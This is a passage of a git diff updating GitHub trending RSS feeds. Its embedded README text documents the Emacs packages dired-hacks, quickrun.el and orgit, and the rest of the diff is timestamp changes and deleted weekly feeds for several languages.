"pfb" "pfm" "ttf" "otf")) (dired-rainbow-define partition "#e3342f" ("dmg" "iso" "bin" "nrg" "qcow" "toast" "vcd" "vmdk" "bak")) (dired-rainbow-define vc "#0074d9" ("git" "gitignore" "gitattributes" "gitmodules")) (dired-rainbow-define-chmod executable-unix "#38c172" "-.*x.*") )) </code></pre> <p><em>Note</em>: the <a href="https://jonasjacek.github.io/colors/">256 color cheat sheet</a> includes conversion from the Xterm colors used by LS_COLORS to the HEX codes used by <code>dired-rainbow</code>. Using that conversion an enterprising individual with a grasp of <code>sed</code>/<code>awk</code> could put together a <em>real</em> port of <a href="https://github.com/trapd00r/LS_COLORS">LS_COLORS</a> to <code>dired-rainbow</code>.</p> <h3>Related packages</h3> <p>There is a related package called <a href="https://github.com/purcell/diredfl/">diredfl</a> which extracts the extra fontification rules from Dired+ and packages them in a modern Emacsy way. They enhance things like the date face, permissions face and similar. Check it out!</p> <h2>dired-subtree</h2> <p>The basic command to work with subdirectories in dired is <code>i</code>, which inserts the subdirectory as a separate listing in the active dired buffer.</p> <p>This package defines function <code>dired-subtree-insert</code> which instead inserts the subdirectory directly below its line in the original listing, and indent the listing of subdirectory to resemble a tree-like structure (somewhat similar to <code>tree(1)</code> except the pretty graphics). The tree display is somewhat more intuitive than the default "flat" subdirectory manipulation provided by <code>i</code>.</p> <p>There are several presentation options and faces you can customize to change the way subtrees are displayed.</p> <p>You can further remove the unwanted lines from the subtree by using <code>k</code> command or some of the built-in "focusing" functions, such as <code>dired-subtree-only-*</code> (see list below).</p> <p>If you have the package <code>dired-filter</code>, you can additionally filter the subtrees with global or local filters.</p> <p>A demo of basic functionality is available on youtube: <a href="https://www.youtube.com/watch?v=z26b8HKFsNE">https://www.youtube.com/watch?v=z26b8HKFsNE</a></p> <h3>Interactive functions</h3> <p>Here's a list of available interactive functions. You can read more about each one by using the built-in documentation facilities of emacs. It is adviced to place bindings for these into a convenient prefix key map, for example <code>C-,</code></p> <ul> <li><code>dired-subtree-insert</code></li> <li><code>dired-subtree-remove</code></li> <li><code>dired-subtree-toggle</code></li> <li><code>dired-subtree-cycle</code></li> <li><code>dired-subtree-revert</code></li> <li><code>dired-subtree-narrow</code></li> <li><code>dired-subtree-up</code></li> <li><code>dired-subtree-down</code></li> <li><code>dired-subtree-next-sibling</code></li> <li><code>dired-subtree-previous-sibling</code></li> <li><code>dired-subtree-beginning</code></li> <li><code>dired-subtree-end</code></li> <li><code>dired-subtree-mark-subtree</code></li> <li><code>dired-subtree-unmark-subtree</code></li> <li><code>dired-subtree-only-this-file</code></li> <li><code>dired-subtree-only-this-directory</code></li> </ul> <p>If you have package <code>dired-filter</code>, additional command <code>dired-subtree-apply-filter</code> is available.</p> <h2>dired-ranger</h2> <p>This package implements useful features present in the <a href="http://ranger.github.io/">ranger</a> file manager which are missing in dired.</p> <h3>Multi-stage copy/pasting of files</h3> <p>A feature present in most orthodox file managers is a "two-stage" copy/paste process. Roughly, the user first selects some files, "copies" them into a clipboard and then pastes them to the target location. This workflow is missing in dired.</p> <p>In dired, user first marks the files, then issues the <code>dired-do-copy</code> command which prompts for the destination. The files are then copied there. The <code>dired-dwim-target</code> option makes this a bit friendlier---if two dired windows are opened, the other one is automatically the default target.</p> <p>With the multi-stage operations, you can gather files from <em>multiple</em> dired buffers into a single "clipboard", then copy or move all of them to the target location. Another huge advantage is that if the target dired buffer is already opened, switching to it via ido or ibuffer is often faster than selecting the path.</p> <p>Call <code>dired-ranger-copy</code> to add marked files (or the file under point if no files are marked) to the "clipboard". With non-nil prefix argument, add the marked files to the current clipboard.</p> <p>Past clipboards are stored in <code>dired-ranger-copy-ring</code> so you can repeat the past pastes.</p> <p>Call <code>dired-ranger-paste</code> or <code>dired-ranger-move</code> to copy or move the files in the current clipboard to the current dired buffer. With raw prefix argument (usually C-u), the clipboard is not cleared, so you can repeat the copy operation in another dired buffer.</p> <h3>Bookmarks</h3> <p>Use <code>dired-ranger-bookmark</code> to bookmark current dired buffer. You can later quickly revisit it by calling <code>dired-ranger-bookmark-visit</code>.</p> <p>A bookmark name is any single character, letter, digit or a symbol.</p> <p>A special bookmark with name <code>dired-ranger-bookmark-LRU</code> represents the least recently used dired buffer. Its default value is `. If you bind <code>dired-ranger-bookmark-visit</code> to the same keybinding, hitting `` will instantly bring you to the previously used dired buffer. This can be used to toggle between two dired buffers in a very fast way.</p> <p>These bookmarks are not persistent. If you want persistent bookmarks use the bookmarks provided by emacs, see (info "(emacs) Bookmarks").</p> <h2>dired-narrow</h2> <p>This package provides live filtering of files in dired buffers. In general, after calling the respective narrowing function you type a filter string into the minibuffer. After each change the changes automatically reflect in the buffer. Typing C-g will cancel the narrowing and restore the original view, typing RET will exit the live filtering mode and leave the dired buffer in the narrowed state. To bring it back to the original view, you can call <code>revert-buffer</code> (usually bound to <kbd>g</kbd>).</p> <p>During the filtering process, several special functions are available. You can customize the binding by changing <code>dired-narrow-map</code>.</p> <ul> <li><code>dired-narrow-next-file</code> (<kbd>&lt;down&gt;</kbd> or <kbd>C-n</kbd>) - move the point to the next file</li> <li><code>dired-narrow-previous-file</code> (<kbd>&lt;up&gt;</kbd> or <kbd>C-p</kbd>) - move the point to the previous file</li> <li><code>dired-narrow-enter-directory</code> (<kbd>&lt;right&gt;</kbd> or <kbd>C-j</kbd>) - descend into the directory under point and immediately go back to narrowing mode</li> </ul> <p>You can customize what happens after exiting the live filtering mode by customizing <code>dired-narrow-exit-action</code>. <code>dired-narrow-exit-action</code> may be executed automatically, when there is only one file left while narrowing. In order to enable this feature, add <code>(setq dired-narrow-exit-when-1-left t)</code> to your config. It makes sense when you use find-file as your exit action, e.g. <code>(setq dired-narrow-exit-action 'dired-narrow-find-file)</code>. A chosen file will be quickly highlighted before executing <code>dired-narrow-exit-action</code>. This behavior is controlled by variables <code>dired-narrow-enable-blinking</code>, <code>dired-narrow-blink-time</code> and by a face <code>dired-narrow-blink</code>.</p> <p>These narrowing functions are provided:</p> <ul> <li><code>dired-narrow</code></li> <li><code>dired-narrow-regexp</code></li> <li><code>dired-narrow-fuzzy</code></li> </ul> <p>You can also create your own narrowing functions quite easily. To define new narrowing function, use <code>dired-narrow--internal</code> and pass it an apropriate filter. The filter should take one argument which is the filter string from the minibuffer. It is then called at each line that describes a file with point at the beginning of the file name. If the filter returns nil, the file is removed from the view. As an inspiration, look at the built-in functions mentioned above.</p> <h2>dired-list</h2> <p>Produce a file listing with a shell incantation and make a dired out of it!</p> <p>This package provides one principal function, <code>dired-list</code> which can be used to produce dired buffers from shell programs outputing text roughly in the format of <code>la -ls</code>.</p> <p>For most standard output formats the default filter and sentinel should work, but you can also provide your own if the situation requires it.</p> <p>Most of the time you can pipe a zero-delimited list of files to <code>ls</code> through <code>xargs(1)</code> using</p> <pre><code>| xargs -I '{}' -0 ls -l '{}' </code></pre> <p>which creates a compatible listing. For more information read the documentation of <code>dired-list</code>, for example by invoking</p> <pre><code>C-h f dired-list RET </code></pre> <p>in emacs.</p> <p>In addition to the generic interface this package implements common listings (patches and extensions welcome!), these are:</p> <ul> <li><code>dired-list-mpc</code></li> <li><code>dired-list-git-ls-files</code></li> <li><code>dired-list-hg-locate</code></li> <li><code>dired-list-locate</code></li> <li><code>dired-list-find-file</code></li> <li><code>dired-list-find-name</code></li> <li><code>dired-list-grep</code></li> </ul> <h2>dired-collapse</h2> <p>Often times we find ourselves in a situation where a single file or directory is nested in a chain of nested directories with no other content. This is sometimes due to various mandatory layouts demanded by packaging tools or tools generating these deeply-nested "unique" paths to disambiguate architectures or versions (but we often use only one anyway). If the user wants to access these directories they have to quite needlessly drill-down through varying number of "uninteresting" directories to get to the content.</p> <p>This minor mode is in main inspired by how GitHub renders these paths: if there is a chain of directories where each one only has one child, they are concatenated together and shown on the first level in this collapsed form. When the user clicks this collapsed directory they are immediately brought to the deepest directory with some actual content.</p> <p>To enable or disable this functionality use <code>dired-collapse-mode</code> to toggle it for the current dired buffer.</p> <p>If the deepest directory contains only a single file this file is displayed instead of the last directory. This way we can get directly to the file itself. This is often helpful with config files which are stored in their own directories, for example in <code>~/.config/foo/config</code> and similar situations.</p> <p>The files or directories re-inserted in this manner will also have updated permissions, file sizes and modification dates so they truly correspond to the properties of the file being shown.</p> <p>The path to the deepest file is dimmed with the <code>shadow</code> face so that it does not distract but at the same time is still available for inspection.</p> <p>The mode is integrated with <code>dired-rainbow</code> so the nested files are properly colored according to user's rules.</p> <p>The directory without collapsed path might look something like this:</p> <p><img src="http://i.imgur.com/Xje5Nmo.png" alt="before"></p> <p>After collapsing:</p> <p><img src="http://i.imgur.com/mm6gFbX.png" alt="after"></p> \ No newline at end of file diff --git a/emacs-lisp/weekly/index.xml b/emacs-lisp/weekly/index.xml deleted file mode 100644 index a8c9eaf8c76..00000000000 --- a/emacs-lisp/weekly/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - GitHub Emacs Lisp Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:49:54Z - Weekly Trending of Emacs Lisp in GitHub - - - ysano/dotfiles - 2023-09-24T01:49:54Z - tag:github.com,2023-09-24:/ysano/dotfiles - - <p></p><hr><h1>dotfiles</h1> <p>dot dot dot</p> - - - emacsorphanage/quickrun - 2023-09-24T01:49:54Z - tag:github.com,2023-09-24:/emacsorphanage/quickrun - - <p>Run command quickly. This packages is inspired quickrun.vim</p><hr><p><a href="https://melpa.org/#/quickrun"><img src="https://melpa.org/packages/quickrun-badge.svg?sanitize=true" alt="melpa badge"></a> <a href="https://stable.melpa.org/#/quickrun"><img src="https://stable.melpa.org/packages/quickrun-badge.svg?sanitize=true" alt="melpa stable badge"></a></p> <h1>quickrun.el</h1> <h2>Introduction</h2> <p><strong>quickrun.el</strong> is Emacs port of <a href="https://github.com/thinca/vim-quickrun">quickrun.vim</a>.</p> <p><a href="https://github.com/emacsorphanage/quickrun/actions/workflows/test.yml"><img src="https://github.com/emacsorphanage/quickrun/actions/workflows/test.yml/badge.svg?sanitize=true" alt="CI"></a></p> <p><code>quickrun.el</code> is a extension to execute editing buffer. <code>quickrun.el</code> is similar to executable-interpret, but <code>quickrun.el</code> provides more convenient commands. <code>quickrun.el</code> execute not only script languages(Perl, Ruby, Python etc), but also compiling languages(C, C++, Go, Java etc) and markup language.</p> <h2>Requirements</h2> <ul> <li>Emacs 24.3 or higher.</li> </ul> <h2>Installation</h2> <p>You can install <code>quickrun.el</code> from <a href="https://melpa.org/">MELPA</a> with package.el.</p> <p>Or install directly:</p> <pre><code>$ cd load-path-dir $ wget https://raw.githubusercontent.com/syohex/emacs-quickrun/master/quickrun.el </code></pre> <p>After Installation add following to your configuration file(~/.emacs.d/init.el, ~/.emacs etc)</p> <pre><code class="language-lisp">(require 'quickrun) </code></pre> <h2>Support Programming Languages</h2> <p><code>quickrun.el</code> supports following programming languages and markup languages as default. But you can register your own command and apply other languages.</p> <p><strong>Programming Language(commands used)</strong></p> <ul> <li>C (<code>gcc</code> / <code>clang</code> / <code>Visual C++</code>)</li> <li>C++ (<code>g++</code> / <code>clang++</code> / <code>Visual C++</code>)</li> <li>C# (<code>dotnet</code> / <code>mono</code>)</li> <li>Objective-C (gcc -objc)</li> <li>D Language (<code>dmd</code>)</li> <li>Fortran (<code>gfortran</code>)</li> <li>Java (<code>javac</code> / <code>java</code>)</li> <li>Perl (<code>perl</code>)</li> <li>Perl6 (<code>perl6</code>)</li> <li>Ruby (<code>ruby</code> / <code>mruby</code>)</li> <li>Python (<code>python</code>)</li> <li>PHP (<code>php</code>)</li> <li>Emacs Lisp (<code>emacs</code>)</li> <li>Scheme (<code>gosh</code>)</li> <li>Smalltalk (<code>gst</code>)</li> <li>Racket (<code>racket</code>)</li> <li>Common Lisp (<code>clisp</code> / <code>sbcl</code> / <code>ccl</code>)</li> <li>Clojure (<code>jark</code> / <code>clj-env-dir</code>)</li> <li>Javascript (<code>node</code> / <code>v8</code> / <code>js</code> / <code>jrunscript</code> / <code>cscript</code> / <code>deno</code>)</li> <li>Coffee Script (<code>coffee</code>)</li> <li>JSX (<code>jsx</code>)</li> <li>Markdown (<code>Markdown.pl</code> / <code>bluecloth</code> / <code>kramdown</code> / <code>pandoc</code> / <code>redcarpet</code>)</li> <li>Haskell (<code>runghc</code>)</li> <li>Go Language (<code>go</code> / <code>gccgo</code>)</li> <li>Io (<code>io</code>)</li> <li>Lua (<code>lua</code>)</li> <li>Groovy (<code>groovy</code>)</li> <li>Scala (<code>scala</code>) <strong>Please use UTF-8 encoding</strong></li> <li>HAML (<code>haml</code>)</li> <li>SASS (<code>sass</code>)</li> <li>LESS (<code>lessc</code>)</li> <li>Erlang (<code>escript</code>)</li> <li>OCaml (<code>ocamlc</code>)</li> <li>F# (<code>fsharpc</code>)</li> <li>ShellScript (shebang's shell)</li> <li>AWK (<code>awk</code>)</li> <li>Rust (<code>rustc</code>)</li> <li>Dart (<code>dart</code>)</li> <li>Elixir (<code>elixir</code>)</li> <li>TypeScript (<code>tsc</code>)</li> <li>Tcl (<code>tclsh</code>)</li> <li>Swift (<code>swift</code>, <code>xcrun</code>)</li> <li>ATS2 (<code>patscc</code>)</li> <li>R (<code>Rscript</code>)</li> <li>Nim/NimScript (<code>nim</code>)</li> <li>Julia (<code>julia</code>)</li> <li>Gnuplot (<code>gnuplot</code>)</li> <li>Kotlin (<code>kotlin</code>)</li> <li>Crystal (<code>crystal</code>)</li> <li>V (<code>v</code>)</li> <li>Applescript (<code>osascript</code>)</li> <li>Assembly Language (<code>nasm</code>, <code>masm</code>)</li> </ul> <p>See also <code>quickrun--support-languages</code> global variable.</p> <h2>Basic Usage</h2> <h4><code>quickrun</code></h4> <p>Execute current buffer. If <code>quickrun.el</code> does not find command-key, then <code>quickrun.el</code> asks you command-key(You always input command if you use <code>C-u</code> prefix key)</p> <h4><code>quickrun-select</code></h4> <p>Like <code>quickrun</code> command but select the backend before the execution.</p> <h4><code>quickrun-region</code></h4> <p>Execute region. (Java is not supported)</p> <h4><code>quickrun-with-arg</code></h4> <p>Execute current buffer with arguments. <code>quickrun.el</code> asks you command line argument</p> <h4><code>quickrun-shell</code></h4> <p>Execute current buffer in eshell for interactive command such as program which reads input from STDIN.</p> <h4><code>quickrun-compile-only</code></h4> <p>Compile current buffer with compile.el framework, not execute. quickrun with <code>C-u C-u</code> prefix behaves same as quickrun-compile-only.</p> <h4><code>quickrun-compile-only-select</code></h4> <p>Like <code>quickrun-compile-only</code> command but select the backend before the execution.</p> <h4><code>quickrun-replace-region</code></h4> <p>Replace region of code with its output.</p> <h3><code>quickrun-autorun-mode</code></h3> <p>Minor mode which executes <code>quickrun</code> after saving buffer.</p> <h4><code>helm-quickrun</code></h4> <p><code>M-x quickrun</code> with helm interface</p> <h4><code>anything-quickrun</code></h4> <p><code>M-x quickrun</code> with anything interface</p> <h2>Note</h2> <p>If quickrun returns <code>command not found</code>, please check <code>(executable-find "THE_COMMAND_NAME")</code> [for example <code>(executable-find "gnuplot")</code>] . If this returns <code>nil</code>, I strongly recommend you use <a href="https://github.com/purcell/exec-path-from-shell">https://github.com/purcell/exec-path-from-shell</a></p> <h2>Send File to STDIN</h2> <p>If <code>executed_file.qrinput</code>(like <code>foo.c.qrinput</code>) is existed in directory same as executed buffer file, <code>quickrun.el</code> sends its content to stdin of executed program. Please set <code>quickrun-input-file-extension</code> to <code>nil</code> If you want to disable this feature.</p> <h2>Customize</h2> <h3><code>quickrun-focus-p</code>(Default: <code>t</code>)</h3> <p>If this value is <code>nil</code>, quickrun.el does not move focus to output buffer.</p> <h3><code>quickrun-truncate-lines</code>(Default: <code>t</code>)</h3> <p>The <code>truncate-lines' value for </code><em>quickrun</em>` buffer.</p> <h2>User Defined Command</h2> <p>You can add your own command or override existsing command by <code>quickrun-add-command</code> as below.</p> <pre><code class="language-lisp">;; Use this parameter as C++ default (quickrun-add-command "c++/c1z" '((:command . "g++") (:exec . ("%c -std=c++1z %o -o %e %s" "%e %a")) (:remove . ("%e"))) :default "c++") ;; Use this parameter in pod-mode (quickrun-add-command "pod" '((:command . "perldoc") (:exec . "%c -T -F %s")) :mode 'pod-mode) ;; You can override existing command (quickrun-add-command "c/gcc" '((:exec . ("%c -std=c++1z %o -o %e %s" "%e %a"))) :override t) </code></pre> <p>First argument of <code>quickrun-add-command</code> is command key. Second argument of it is command parameter, which is described laster. <code>quickrun-add-command</code> also takes key parameters, <code>:default</code>, <code>:mode</code>, <code>:override</code>.</p> <table> <thead> <tr> <th align="left">Argument</th> <th align="left">Description</th> </tr> </thead> <tbody> <tr> <td align="left"><code>:default</code> lang</td> <td align="left">Use this command parameter as default in specified language</td> </tr> <tr> <td align="left"><code>:mode</code> mode</td> <td align="left">this command parameter in specified mode</td> </tr> <tr> <td align="left"><code>:override</code> bool</td> <td align="left">Override existing parameter with specified parameter</td> </tr> </tbody> </table> <h3>Command Parameter</h3> <p>Command alist has following parameters,</p> <h4><code>:command</code>(mandatory parameter)</h4> <p>Command name. <code>%c</code> is expanded into this value.</p> <h4><code>:cmdopt</code>(optional)</h4> <p>Command(<code>:command</code>) option. <code>%o</code> is expanded into this value.</p> <h4><code>:exec</code></h4> <p>Executed commands. You can also set command list parameter. If you set list parameter, <code>quickrun.el</code> executes command list in order.</p> <p>If this parameter is omitted, <code>quickrun.el</code> use default execute command template "%c %o %s %a".</p> <h4><code>:timeout</code>(optional)</h4> <p>Timeout in seconds for the process spawn by the command. This value takes precedence over the <code>quickrun-timeout-seconds</code> custom variable.</p> <h4><code>:compile-only</code></h4> <p>Command exected by <code>quickrun-compile-only</code>. This option is used for syntax check or converting another language(e.g. CoffeeScript =&gt; JavaScript).</p> <h3><code>:compile-conf</code></h3> <p>Configuration of <code>quickrun-compile-only</code>. This parameter must be alist.</p> <h4><code>:remove</code></h4> <p>Remove files after executing. If command create some intermediate files, you should set this parameter. :remove value is atom or list.</p> <h4><code>:outputter</code></h4> <p>Please see Outputter section.</p> <h4><code>:default-directory</code></h4> <p>Directory where commands are executed.</p> <h4><code>:tempfile</code></h4> <p>Use temporary file or not. <code>quickrun.el</code> uses temporary file if you omit this parameter.</p> <p>NOTE: If you set this parameter, you cannot use <code>quickrun-region</code>.</p> <h4><code>:description</code></h4> <p>Description of this command. This parameter is used in <code>helm-quickrun</code> or <code>anything-quickrun</code></p> <h3>Placeholders</h3> <p>You can use following placeholders in command parameter</p> <table> <thead> <tr> <th align="center">Placeholder</th> <th align="left">Expanded</th> </tr> </thead> <tbody> <tr> <td align="center"><code>%c</code></td> <td align="left">Command</td> </tr> <tr> <td align="center"><code>%o</code></td> <td align="left">Command line option</td> </tr> <tr> <td align="center"><code>%s</code></td> <td align="left">Source(absolute path)</td> </tr> <tr> <td align="center"><code>%a</code></td> <td align="left">Script's arguments</td> </tr> <tr> <td align="center"><code>%n</code></td> <td align="left">Source without extension(absolute path)</td> </tr> <tr> <td align="center"><code>%N</code></td> <td align="left">Source without extension(nondirectory)</td> </tr> <tr> <td align="center"><code>%d</code></td> <td align="left">Directory name of Source(absolute path)</td> </tr> <tr> <td align="center"><code>%e</code></td> <td align="left">Source with executable suffix(absolute path)</td> </tr> <tr> <td align="center"><code>%E</code></td> <td align="left">Source with executable suffix(nondirectory)</td> </tr> </tbody> </table> <p>Source file name(<code>%s</code>, <code>%n</code> etc) is not original file name except Java language. Because <code>quickrun.el</code> copys source file to temporary file firstly.</p> <h2>Change Default Command</h2> <p><code>quickrun-set-default</code> changes default command in language that is registerd multiple command parameters(like c, c++,Javascript).</p> <pre><code class="language-lisp">(quickrun-set-default "c" "c/clang") </code></pre> <p>This means that quickrun uses "c/clang" for C files.</p> <h2>Timeout Seconds</h2> <p><code>quickrun.el</code> kills process if program run over 10 seconds as default. This avoids infinite loop program or endless program by some mistakes. You control timeout second to set <code>quickrun-timeout-seconds</code>. This feature is disabled if <code>quickrun-timeout-seconds</code> is <code>nil</code>. The timeout can also be set per command with the <code>:timeout</code> parameter. (You can also kill process by <code>C-c C-c</code> in quickrun buffer)</p> <h2>Key bindings in quickrun buffer</h2> <table> <thead> <tr> <th align="center">Key</th> <th align="left">Command</th> </tr> </thead> <tbody> <tr> <td align="center"><code>q</code></td> <td align="left">Close quickrun window</td> </tr> <tr> <td align="center"><code>C-c C-c</code></td> <td align="left">Kill quickrun process</td> </tr> </tbody> </table> <h2>Buffer Local Variables</h2> <p>Buffer local variables is priority to default parameters.</p> <h4><code>quickrun-option-cmd-alist</code></h4> <p>Command alist.</p> <h4><code>quickrun-option-command</code></h4> <p>Command key(Expanded to %c)</p> <h4><code>quickrun-option-cmdkey</code></h4> <p>Command key of command parameter.</p> <h4><code>quickrun-option-cmdopt</code></h4> <p>Command option(Expanded to %o)</p> <h4><code>quickrun-option-args</code></h4> <p>Program argument(Expanded to %a.)</p> <h4><code>quickrun-option-shebang</code></h4> <p>If this value is <code>non-nil</code> and first line of source file is started "#!", the following string is treated as ":command".</p> <h4><code>quickrun-option-outputter</code></h4> <p>Outputter function. See <em>Outputter</em> section</p> <h3>Example of buffer local variable</h3> <p>Setting C++11.</p> <pre><code class="language-c++">#include &lt;iostream&gt; #include &lt;vector&gt; #include &lt;string&gt; int main (int argc, char *argv[]) { std::vector &lt;std::string&gt; lst = { "a", "b", "c", "d" }; for (auto x : lst) { std::cout &lt;&lt; "[" &lt;&lt; x &lt;&lt; "]" &lt;&lt; std::endl; } for (auto i = 1; i &lt; argc; i++) { std::cout &lt;&lt; "[" &lt;&lt; argv[i] &lt;&lt; "]" &lt;&lt; std::endl; } return 0; } /* Local Variables: quickrun-option-cmd-alist: ((:command . "g++") (:exec . ("%c -std=c++0x -o %n %s" "%n apple orange melon")) (:remove . ("%n"))) End: */ </code></pre> <h2>Hooks</h2> <h4><code>quickrun-after-run-hook</code></h4> <p>Run hooks after execute all commands.</p> <h2>Outputter</h2> <p>Outputter is a function for processing command output. Default outputter is to output to *quickrun* buffer and processing ANSI Color sequence.</p> <p><code>quickrun.el</code> defines following functions as default.</p> <h4><code>buffer:buffername</code></h4> <p>Output to buffer. <a href="https://raw.githubusercontent.com/emacsorphanage/quickrun/master/sample/sample_outputter_buffer.pl">outputter <em>buffer</em> sample</a></p> <h4><code>file:filename</code></h4> <p>Output to file. <a href="https://raw.githubusercontent.com/emacsorphanage/quickrun/master/sample/sample_outputter_file.pl">outputter <em>file</em> sample</a></p> <h4><code>variable:varname</code></h4> <p>Output to variable. <a href="https://raw.githubusercontent.com/emacsorphanage/quickrun/master/sample/sample_outputter_variable.pl">outputter <em>variable</em> sample</a></p> <h4><code>browser</code></h4> <p>Output to Web browser(using function <em>browse-url</em>) <a href="https://raw.githubusercontent.com/emacsorphanage/quickrun/master/sample/sample_outputter_browser.pl">outputter <em>browser</em> sample</a></p> <h4><code>message</code></h4> <p>Output to *Message* buffer(using function <em>message</em>) <a href="https://raw.githubusercontent.com/emacsorphanage/quickrun/master/sample/sample_outputter_message.pl">outputter <em>message</em> sample</a></p> <h4><code>multi</code></h4> <p>Use multiple outputters. <a href="https://raw.githubusercontent.com/emacsorphanage/quickrun/master/sample/sample_outputter_multi.pl">outputter <em>multi</em> sample</a></p> <h4><code>null</code></h4> <p>No output. <a href="https://raw.githubusercontent.com/emacsorphanage/quickrun/master/sample/sample_outputter_null.pl">outputter <em>null</em> sample</a></p> <h2>Using quickrun as function from other functions</h2> <p><code>quickrun</code> can be used as function from other functions. You can pass configuration by <code>:source</code> argument. Sample is following:</p> <pre><code class="language-lisp">(defun test-perl () (interactive) (let* ((cmd "git rev-parse --show-toplevel") (topdir (with-temp-buffer (call-process-shell-command cmd nil t nil) (goto-char (point-min)) (if (re-search-forward "^\\(.+\\)$" nil t) (match-string 1))))) (quickrun :source `((:command . "prove") (:default-directory . ,topdir) (:exec . ("%c -bv --color %s")))))) </code></pre> - - - magit/orgit - 2023-09-24T01:49:54Z - tag:github.com,2023-09-24:/magit/orgit - - <p>Support for Org links to Magit buffers</p><hr><ul> <li>Link to Magit buffers from Org documents</li> </ul> <p>This package defines several Org link types, which can be used to link to certain Magit buffers. Use the command <del>org-store-link</del> while such a buffer is current to store a link. Later you can insert it into an Org buffer using the command <del>org-insert-link</del>.</p> <p>** Format</p> <p>The three link types defined here take these forms:</p> <p>#+begin_src text orgit:/path/to/repo/ links to a magit-status buffer orgit-log:/path/to/repo/::REV links to a magit-log buffer orgit-rev:/path/to/repo/::ARGS links to a magit-revision buffer #+end_src</p> <p>Before <del>v1.3.0</del> only the first revision was stored in <del>orgit-log</del> links, and all other revisions were discarded. All other arguments were also discarded and Magit's usual mechanism for determining the switches and options was used instead.</p> <p>For backward compatibility, and because it is the common case and looks best, ARGS by default has the form <del>REV</del> as before. However if linking to a log buffer that shows the log for multiple revisions, then <del>("REV"...)</del> is used instead. If <del>orgit-log-save-arguments</del> is non-nil, then <del>(("REV"...) ("ARG"...) [("FILE"...)])</del> is always used, which allows restoring the buffer most faithfully.</p> <p>** Export</p> <p>When an Org file containing such links is exported, then the url of the remote configured with <del>orgit-remote</del> is used to generate a web url according to <del>orgit-export-alist</del>. That webpage should present approximately the same information as the Magit buffer would.</p> <p>Both the remote to be considered the public remote, as well as the actual web urls can be defined in individual repositories using Git variables.</p> <p>To use a remote different from <del>orgit-remote</del> but still use <del>orgit-export-alist</del> to generate the web urls, use:</p> <p>#+begin_src text git config orgit.remote REMOTE-NAME #+end_src</p> <p>To explicitly define the web urls, use something like:</p> <p>#+begin_src text git config orgit.status <a href="http://example.com/repo/overview">http://example.com/repo/overview</a> git config orgit.log <a href="http://example.com/repo/history/%r">http://example.com/repo/history/%r</a> git config orgit.rev <a href="http://example.com/repo/revision/%r">http://example.com/repo/revision/%r</a> #+end_src</p> <p>#+html: <br><br> #+html: <a href="https://github.com/magit/orgit/actions/workflows/compile.yml"><img alt="Compile" src="https://github.com/magit/orgit/actions/workflows/compile.yml/badge.svg?sanitize=true"></a> #+html: <a href="https://stable.melpa.org/#/orgit"><img alt="MELPA Stable" src="https://stable.melpa.org/packages/orgit-badge.svg?sanitize=true"></a> #+html: <a href="https://melpa.org/#/orgit"><img alt="MELPA" src="https://melpa.org/packages/orgit-badge.svg?sanitize=true"></a></p> - - \ No newline at end of file diff --git a/emberscript/daily/index.xml b/emberscript/daily/index.xml index f5c0ee93921..9ca3115817e 100644 --- a/emberscript/daily/index.xml +++ b/emberscript/daily/index.xml @@ -1,7 +1,7 @@ GitHub EmberScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:30:11Z + 2023-09-25T01:28:57Z Daily Trending of EmberScript in GitHub \ No newline at end of file diff --git a/emberscript/weekly/index.xml b/emberscript/weekly/index.xml deleted file mode 100644 index 0b540414de5..00000000000 --- a/emberscript/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub EmberScript Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:49:51Z - Weekly Trending of EmberScript in GitHub - - \ No newline at end of file diff --git a/eq/daily/index.xml b/eq/daily/index.xml index aea0b6567d5..73ed5923f4d 100644 --- a/eq/daily/index.xml +++ b/eq/daily/index.xml @@ -1,7 +1,7 @@ GitHub EQ Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:30:24Z + 2023-09-25T01:29:12Z Daily Trending of EQ in GitHub \ No newline at end of file diff --git a/eq/weekly/index.xml b/eq/weekly/index.xml deleted file mode 100644 index 8a7334684f7..00000000000 --- a/eq/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub EQ Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:50:01Z - Weekly Trending of EQ in GitHub - - \ No newline at end of file diff --git a/erlang/daily/index.xml b/erlang/daily/index.xml index df7b1d25407..2149ef9b5bc 100644 --- a/erlang/daily/index.xml +++ b/erlang/daily/index.xml @@ -1,7 +1,7 @@ GitHub Erlang Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:30:28Z + 2023-09-25T01:29:17Z Daily Trending of Erlang in GitHub \ No newline at end of file diff --git a/erlang/weekly/index.xml b/erlang/weekly/index.xml deleted file mode 100644 index 7fed0c14813..00000000000 --- a/erlang/weekly/index.xml +++ /dev/null @@ -1,14 +0,0 @@ - - GitHub Erlang Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:50:06Z - Weekly Trending of Erlang in GitHub - - - erlang-ls/rebar3_bsp - 2023-09-24T01:50:06Z - tag:github.com,2023-09-24:/erlang-ls/rebar3_bsp - - <p>Support for the Build Server Protocol (aka BSP) for rebar3</p><hr> - - \ No newline at end of file diff --git a/euphoria/daily/index.xml b/euphoria/daily/index.xml index 31d55fff924..04b3ac18e12 100644 --- a/euphoria/daily/index.xml +++ b/euphoria/daily/index.xml @@ -1,7 +1,7 @@ GitHub Euphoria Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:30:29Z + 2023-09-25T01:29:13Z Daily Trending of Euphoria in GitHub \ No newline at end of file diff --git a/euphoria/weekly/index.xml b/euphoria/weekly/index.xml deleted file mode 100644 index 1218a459147..00000000000 --- a/euphoria/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Euphoria Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:50:02Z - Weekly Trending of Euphoria in GitHub - - \ No newline at end of file diff --git a/f%23/daily/index.xml b/f%23/daily/index.xml index a059d9f433a..fecf8e0e728 100644 --- a/f%23/daily/index.xml +++ b/f%23/daily/index.xml @@ -1,7 +1,7 @@ GitHub F# Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:30:29Z + 2023-09-25T01:29:17Z Daily Trending of F# in GitHub \ No newline at end of file diff --git 